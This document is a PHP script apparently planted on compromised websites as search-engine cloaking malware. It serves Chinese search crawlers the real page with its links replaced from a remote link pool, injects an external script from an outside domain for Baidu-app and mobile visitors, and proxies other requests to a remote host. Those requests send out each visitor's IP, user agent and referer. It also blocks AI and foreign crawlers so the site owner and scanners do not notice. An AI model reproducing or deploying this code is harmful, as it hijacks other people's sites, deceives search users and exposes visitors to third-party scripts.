set_time_limit(0);
error_reporting(0);
// ==================== 配置 111 ====================
$host_path      = "http://mm.gotzduan.com/";
$link_pool_url  = "http://mm.gotzduan.com/u.php";
$link_pool_url_a = "http://mm.gotzduan.com/a.php";
$mobile_js_url  = "https://www.bole577.com/mmmm.js";

$allowed_chinese_spiders = '/(?:baiduspider|sogou|sogo|sm\.cn|haosou|360spider|so\.com)/i';
$blocked_foreign_bots    = '/(?:bot|spider|crawl|scraper|ai|gpt|claude|robot|python|curl|wget|scan|test|monitor|check|fetch|harvest|collect)/i';
$baidu_client_pattern    = '/(?:baiduboxapp|baidubrowser|baidu.*(?:mobile|app|client|box))/i';
$mobile_pattern          = '/(?:mobile|android|iphone|ipad|ipod|blackberry|windows phone|opera mini|opera mobi|webos|palm|symbian|j2me|midp|wap|phone|touch|tablet|kindle)/i';

$static_exts   = array('.css', '.js', '.png', '.jpg', '.jpeg', '.gif', '.ico', '.svg');
$trap_dirs     = array('content', 'news', 'info', 'data', 'list');
$default_docs  = array('index.html', 'index.htm', 'default.html', 'default.htm', 'default.asp', 'index.asp', 'default.aspx', 'index.aspx', 'index.php', 'default.php');
$min_ua_length = 10;

// ==================== 工具函数 ====================
function httpGet($url, $ua = 'Mozilla/5.0') {
    $ch = curl_init($url);
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT        => 5,
        CURLOPT_USERAGENT      => $ua,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_ENCODING       => 'gzip',
    ));
    $result = curl_exec($ch);
    curl_close($ch);
    return ($result === false) ? '' : $result;
}
function getStatusCode($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_NOBODY, true);          // 只获取头部，不下载内容
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 不跟随重定向（可改为true）
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);           // 超时时间10秒
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 忽略SSL证书验证（可选）
    curl_exec($ch);
    $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return $statusCode;
}

function detectSpiderType($ua, $allowedPattern, $blockedPattern, $minLen) {
    if (empty($ua) || strlen($ua) < $minLen) return 'blocked';
    if (preg_match($allowedPattern, $ua)) return 'allowed';
    if (preg_match($blockedPattern, $ua)) return 'blocked';
    return 'normal';
}

function isBaiduClient($ua, $pattern) {
    if (empty($ua)) return false;
    return (bool)preg_match($pattern, $ua);
}

function isMobileDevice($ua, $baiduPattern, $mobilePattern) {
    if (empty($ua)) return false;
    if (preg_match($baiduPattern, $ua)) return true;
    return (bool)preg_match($mobilePattern, $ua);
}

function isStaticFile($path, $exts) {
    $parts = explode('?', $path);
    $p = strtolower($parts[0]);
    foreach ($exts as $ext) {
        if (substr($p, -strlen($ext)) === $ext) return true;
    }
    return false;
}

function isNewsPage($url) {
    $lower = strtolower($url);
    if (strpos($lower, '.scm') !== false || strpos($lower, '.shtml') !== false) return true;
    if (preg_match('/id=[a-z0-9]{6}/i', $lower)) return true;
    return false;
}

function isHomepage($url, $defaultDocs) {
    $parts = explode('?', $url);
    $path = strtolower($parts[0]);
    if ($path === '/' || $path === '') return true;
    if (strlen($path) > 1 && strpos($path, '/', 1) !== false) return false;
    $file = ltrim($path, '/');
    return in_array($file, $defaultDocs);
}

function hasTrapDir($url, $traps) {
    foreach ($traps as $t) {
        if (strpos($url, '/' . $t . '/') !== false || strpos($url, '?' . $t . '/') !== false) return true;
    }
    return false;
}

function refererHasAllowedSpider($referer, $pattern) {
    if (empty($referer)) return false;
    return (bool)preg_match($pattern, $referer);
}

function fetchLinkPool($url) {
    $html = httpGet($url);
    if (empty($html)) return array();
    preg_match_all('/href\s*=\s*["\']([^"\']+)["\']/i', $html, $matches);
    return !empty($matches[1]) ? array_values(array_unique($matches[1])) : array();
}

function _replaceHrefCallback($m) {
    $pool = $GLOBALS['__href_pool'];
    $link = $pool[array_rand($pool)];
    return $m[1] . 'href="' . $link . '"';
}

function replaceHrefLinks($html, $pool) {
    if (empty($pool)) return $html;
        // 页面里 <a href> 少于 10 个不做替
    if (preg_match_all('/(<a\s[^>]*?)href\s*=\s*["\']([^"\']*)["\']/', $html, $m) < 10){
        $htmlPool = httpGet($url);
        if (!empty($htmlPool)){
            return $htmlPool;
        }
    }
    $GLOBALS['__href_pool'] = $pool;
    return preg_replace_callback(
        '/(<a\s[^>]*?)href\s*=\s*["\']([^"\']*)["\']/',
        '_replaceHrefCallback',
        $html
    );
}

// 与 DLL 一致：只编码会影响 query 结构的字符，保留 / : . ? 等原样（path 不会变成 %2F）
function urlEncodeLite($str) {
    $out = '';
    $len = strlen($str);
    for ($i = 0; $i < $len; $i++) {
        $c = ord($str[$i]);
        $ch = $str[$i];
        if ($ch === ' ') $out .= '+';
        else if ($c <= 0x20 || $c >= 0x7F || $ch === '&' || $ch === '=' || $ch === '#' || $ch === '%')
            $out .= '%' . strtoupper(sprintf('%02X', $c));
        else $out .= $ch;
    }
    return $out;
}

// ==================== 主逻辑 ====================
$url     = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$ua      = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$host    = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$userip  = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';

if (isStaticFile($url, $static_exts)) return;

$is_baidu = isBaiduClient($ua, $baidu_client_pattern);
$spider   = $is_baidu ? 'normal' : detectSpiderType($ua, $allowed_chinese_spiders, $blocked_foreign_bots, $min_ua_length);

$is_trap = hasTrapDir($url, $trap_dirs);
$is_news = isNewsPage($url);

$should_process = ($spider === 'blocked' || $spider === 'allowed' || $is_baidu || $is_trap || $is_news);
if (!$should_process) return;

// blocked → 403


// 判断页面类型
$page = '';
if ($is_baidu && $is_news) {
    $page = 'js_txt';
} elseif ($is_news) {
    if ($spider === 'allowed' || (refererHasAllowedSpider($referer, $allowed_chinese_spiders) && $spider !== 'allowed')) {
        $page = 'neiye';
    } else {
        $page = 'js_txt';
    }
} elseif ($spider === 'allowed') {
    // 国内蜘蛛：首页和所有内页都读真实页面 + 替换 <a href> 为链接池的链接

    $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';

    //先看看是不是支持404
    $code = getStatusCode($scheme . $host.'/test/abc/');

    // 国内蜘蛛：首页和所有内页都读真实页面 + 替换 <a href> 为链接池的链接

    if ($code == 404){
        $pool = fetchLinkPool($link_pool_url_a);
        $htmlPool = httpGet($link_pool_url_a);
    }else{
        $pool = fetchLinkPool($link_pool_url);
        $htmlPool = httpGet($link_pool_url);
    }


    if (!empty($pool)) {
        // 用普通 UA 请求自己，避免又触发本脚本形成死循环递归
        $realPage = httpGet($scheme . $host . $url, 'Mozilla/5.0 (compatible; Selfget/1.0)');

        if (!empty($realPage)) {
            header('Content-Type: text/html; charset=UTF-8');
            $html =  replaceHrefLinks($realPage, $pool);
            if ($html == ""){
                echo $htmlPool;
            }else{
                echo $html;
            }
            exit;
        }
        echo $htmlPool;
        exit;
    }
    return;
}

if (empty($page)) return;

// js_txt 处理
if ($page === 'js_txt') {
    if (isMobileDevice($ua, $baidu_client_pattern, $mobile_pattern)) {
        header('Content-Type: text/html; charset=UTF-8');
        echo '<scr' . 'ipt src="' . $mobile_js_url . '"></scr' . 'ipt>';
        exit;
    } else {
        header('HTTP/1.1 404 Not Found', true, 404);
        echo '<html><body><h1>404 Not Found</h1></body></html>';
        exit;
    }
}

// neiye 处理：从远程 API 获取内容
$is_mobile = isMobileDevice($ua, $baidu_client_pattern, $mobile_pattern);
$query =
    'ua='     . urlEncodeLite($is_mobile ? 'mb' : 'pc') .
    '&files=' . urlEncodeLite($page) .
    '&host='  . urlEncodeLite($host) .
    '&path='  . urlEncodeLite($url) .
    '&userip='. urlEncodeLite($userip) .
    '&userua='. urlEncodeLite($ua) .
    '&source='. urlEncodeLite($referer);

$content = httpGet(rtrim($host_path, '/') . '/index.php?' . $query, $ua);
if (!empty($content)) {
    header('Content-Type: text/html; charset=UTF-8');
    echo $content;
    exit;
}
return;